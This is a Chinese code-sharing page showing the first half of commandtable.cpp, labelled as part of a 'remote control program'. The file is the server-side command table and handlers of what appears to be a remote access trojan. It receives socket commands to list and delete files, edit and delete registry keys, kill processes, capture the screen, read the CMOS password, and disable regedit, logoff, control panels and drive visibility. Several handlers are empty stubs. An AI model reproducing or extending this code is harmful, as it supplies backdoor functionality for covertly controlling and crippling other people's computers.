⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 commandtable.cpp

📁 这是一个远程控制程序
💻 CPP
📖 第 1 页 / 共 2 页
字号:
//---------------------------------------------------------------------------

#pragma hdrstop

#include "CommandTable.h"
#include "CNString.h"
#include "CNUtility.h"
#include "Stream.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)

TCommandTable CommandTable[] ={
        /*===命令=============参数数量==========执行函数==========*/
        ctServerVer,            0,      Cmd_GetServerVer,

        //文件操作
        ctGetDriverList,        0,      Cmd_GetDriverList,
        ctGetPathList,          1,      Cmd_GetPathList,
        ctGetFileList,          1,      Cmd_GetFileList,
        ctMKDir,                1,      Cmd_MkDir,
        ctRdDir,                1,      Cmd_RdDir,
        ctRenFile,              2,      Cmd_RenFile,
        ctSearchFile,           2,      Cmd_SearchFile,
        ctChDir,                1,      Cmd_ChDir,
        ctDeleteFile,           1,      Cmd_DelFile,
        ctDeletePathFile,       1,      Cmd_DelPathFile,
        ctCopyDir,              2,      Cmd_CopyDir,
        ctMoveFile,             2,      Cmd_MoveFile,
        ctCopyFile,             2,      Cmd_CopyFile,
        ctDownLoadFile,         2,      Cmd_DownLoadFile,
        ctUpLoadFile,           2,      Cmd_UpLoadFile,

        //注册表操作
        ctGetKeyNames,          1,      Cmd_GetKeyNames,
        ctGetValuesNames,       1,      Cmd_GetValuesNames,
        ctCreateKey,            2,      Cmd_CreateKey,
        ctDeleteKey,            1,      Cmd_DeleteKey,
        ctWriteValue,           3,      Cmd_WriteValue,
        ctDeleteValue,          2,      Cmd_DeleteValue,
        ctRenameValue,          3,      Cmd_RenameValue,
        //窗口管理
        ctShowMaxWin,           1,      Cmd_ShowMaxWin,
        ctShowMinWin,           1,      Cmd_ShowMinWin,
        ctShowActiveWin,        1,      Cmd_ShowActiveWin,
        ctShowCloseWin,         2,      Cmd_ShowCloseWin,
        ctShowHideWin,          1,      Cmd_ShowHideWin,
        ctEnabledWin,           2,      Cmd_EnabledWin,
        ctGetWindowsList,       1,      Cmd_GetWindowsList,
        ctListRunProc,          0,      Cmd_ListRunProc,
        ctKillProc,             1,      Cmd_KillProc,
        //系统信息
        ctGetNetInfo,           0,      Cmd_GetNetInfo,
        ctGetCmosPwd,           0,      Cmd_GetCmosPwd,
        ctGetEvtStrings,        0,      Cmd_GetEvtStrings,
        ctSetEvtStrings,        2,      Cmd_SetEvtStrings,
        //系统操作
        ctOpenDoc,              1,      Cmd_OpenDoc,
        ctReboot,               1,      Cmd_Reboot,
        ctSysInfo,              0,      Cmd_SysInfo,
        ctSetIPAddress,         3,      Cmd_SetIPAddress,
        ctSetComputerName,      1,      Cmd_SetComputerName,
        ctCapScreen,            1,      Cmd_CapScreen,
        ctMouseEvent,           3,      Cmd_MouseEvent,
        //系统限制
        ctShowDesktop,          1,      Cmd_ShowDesktop,
        ctSetSysHotKey,         1,      Cmd_SetSysHotKey,
        ctEnabledRegedit,       1,      Cmd_EnabledRegedit,
        ctShowShellTray,        1,      Cmd_ShowShellTray,
        ctSetPowderState,       1,      Cmd_SetPowderState,
        ctNoMouseRight,         1,      Cmd_NoMouseRight,
        ctNoLogOff,             1,      Cmd_NoLogOff,
        ctNoDeletePrinter,      1,      Cmd_NoDeletePrinter,
        ctNoNetSetup,           1,      Cmd_NoNetSetup,
        ctNoProfilePage,        1,      Cmd_NoProfilePage,
        ctNoSecCPL,             1,      Cmd_NoSecCPL,
        ctNoChangeStartMenu,    1,      Cmd_NoChangeStartMenu,
        ctNoSetFolders,         1,      Cmd_NoSetFolders,
        ctNoDispCPL,            1,      Cmd_NoDispCPL,
        ctHideDrivers,          1,      Cmd_HideDrivers,

        /*-------------------请不要改变这行的位置-----------------*/
        ctUnkown,               0,      Cmd_Error //这是最后一行
};
TCommandTable *LookupCommand(TCommandType CommandType)
{
        int i;
        for( i = 0; CommandTable[i].CommandType != ctUnkown; i++)
        {
                if(CommandTable[i].CommandType == CommandType) break;
        }
        return &CommandTable[i];
}
void Cmd_DoCommand(TCommandType CommandType,
                VInt32 ParamCount,
                char ParamStr[][MAX_PARAM_LENGTH + 1],
                VSocket *m_socket)
{
        TCommandTable *Command = LookupCommand(CommandType);

        if( Command->ParamCount != ParamCount)
        {
                Cmd_Error(ParamStr,m_socket);
        }
        else
        {
                Command->CommandFunc(ParamStr,m_socket);
        }
}
void Cmd_Error(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        m_socket->WriteLn(RESULT_FAILT);
}
void Cmd_GetServerVer(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp  = SVR_VER;

        m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}                   
void Cmd_GetDriverList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp;

        sTmp = CN_GetDriverList();

        m_socket->WriteLn(RESULT_SUCCESS + sTmp);
}
void Cmd_GetPathList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sDirList;

        sDirList = CN_GetDirList(ParamStr[0]);

        m_socket->WriteLn(RESULT_SUCCESS + sDirList);
}
void Cmd_GetFileList(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sFileList;

        sFileList = CN_GetFileList(ParamStr[0]);

        m_socket->WriteLn(RESULT_SUCCESS + sFileList);
}
void Cmd_MkDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if(!CN_DirectoryExists(ParamStr[0]))
        {
                if( CN_CreateDir(ParamStr[0]))
                        m_socket->WriteLn(RESULT_SUCCESS);
                else
                        m_socket->WriteLn(RESULT_FAILT);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_RdDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if(!CN_DirectoryExists(ParamStr[0]))
        {
                if( CN_RemoveDir(ParamStr[0]))
                        m_socket->WriteLn(RESULT_SUCCESS);
                else
                        m_socket->WriteLn(RESULT_FAILT);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_RenFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_RenameFile(ParamStr[0], ParamStr[1]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_SearchFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
}
void Cmd_ChDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if(SetCurrentDirectory(ParamStr[0]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }

}
void Cmd_DelFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp, S,Path;
        TCNString CanNotDelFile = "";
        int iPos;

        Path = ParamStr[0];
        S    = ParamStr[1];
        //*******删除的文件列表格式为 File1,File2,File3,....
        do{
                iPos = S.Pos(',');
                if( iPos > 0)
                        sTmp = S.SubString(0,iPos); // copy item to tmp string
                else
                        sTmp = S;

                sTmp = sTmp.Trim();

                if( sTmp != "") CanNotDelFile = CN_DeleteFile(Path + sTmp) + ",";

                if( iPos == 0) break;

                S = S.SubString(iPos + 1,S.Length() -1); // delete item from string

                S = S.Trim();

        }while(S.Length() != 0);

        if( CanNotDelFile != "")
        {
                m_socket->WriteLn(RESULT_FAILT + CanNotDelFile);
        }
        else
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
}
void Cmd_DelPathFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        CN_DelAllFileInPath(ParamStr[0]);

        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_CopyDir(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Flag = ParamStr[2];

        if( Flag == "MOVE")
        {
                CN_CopyDirTo(ParamStr[0],ParamStr[1],TRUE);
        }
        else
        if( Flag == "COPY")
        {
                CN_CopyDirTo(ParamStr[0],ParamStr[1],FALSE);
        }
        m_socket->WriteLn(RESULT_SUCCESS);
}
void Cmd_MoveFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( MoveFile(ParamStr[0],ParamStr[1]))//, MOVEFILE_REPLACE_EXISTING))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_CopyFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CopyFile(ParamStr[0],ParamStr[1],FALSE))//, MOVEFILE_REPLACE_EXISTING))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_DownLoadFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
}
void Cmd_UpLoadFile(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString Path,FileName;

        TCNFileStream *FileStream;
        
        Path     = ParamStr[0];
        FileName = ParamStr[1];

        CN_AdjustPath(Path);

        if( !CN_FileExists(Path + FileName))
        {
                m_socket->WriteLn(RESULT_FAILT);
                return;
        }
        try{
                FileStream = new TCNFileStream(Path + FileName,cfmCreate);
        }
        __finally{
                delete FileStream;  // 释放资源
        }
}
/*****************************注册表操作*****************/
void Cmd_GetKeyNames(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString KeyNames;

        KeyNames = CN_GetKeyNameList(ParamStr[0]);

        m_socket->WriteLn(RESULT_SUCCESS + KeyNames);
}
void Cmd_GetValuesNames(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString ValueNames;

        ValueNames = CN_GetValueNameList(ParamStr[0]);

        m_socket->WriteLn(RESULT_SUCCESS + ValueNames);

}
void Cmd_CreateKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_CreateMasterKey(ParamStr[0],ParamStr[1]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }

}
void Cmd_DeleteKey(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_DeleteMasterKey(ParamStr[0]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_WriteValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_WriteValue(ParamStr[0],ParamStr[1],ParamStr[2]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }

}
void Cmd_DeleteValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_DeleteValue(ParamStr[0],ParamStr[1]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }

}
void Cmd_RenameValue(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        if( CN_RenameValue(ParamStr[0],ParamStr[1],ParamStr[2]))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}

void Cmd_ShowMaxWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];

        if( CN_ShowMaxWindow(sTmp.ToInt()))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_ShowMinWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];

        if( CN_ShowMinWindow(sTmp.ToInt()))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_ShowActiveWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];

        if( CN_ShowActiveWindow(sTmp.ToInt()))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }
}
void Cmd_ShowCloseWin(char ParamStr[][MAX_PARAM_LENGTH + 1],VSocket *m_socket)
{
        TCNString sTmp = ParamStr[0];
        TCNString Flag = ParamStr[1];

        if( CN_CloseWindow(sTmp.ToInt(),Flag.ToInt()))
        {
                m_socket->WriteLn(RESULT_SUCCESS);
        }
        else
        {
                m_socket->WriteLn(RESULT_FAILT);
        }

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -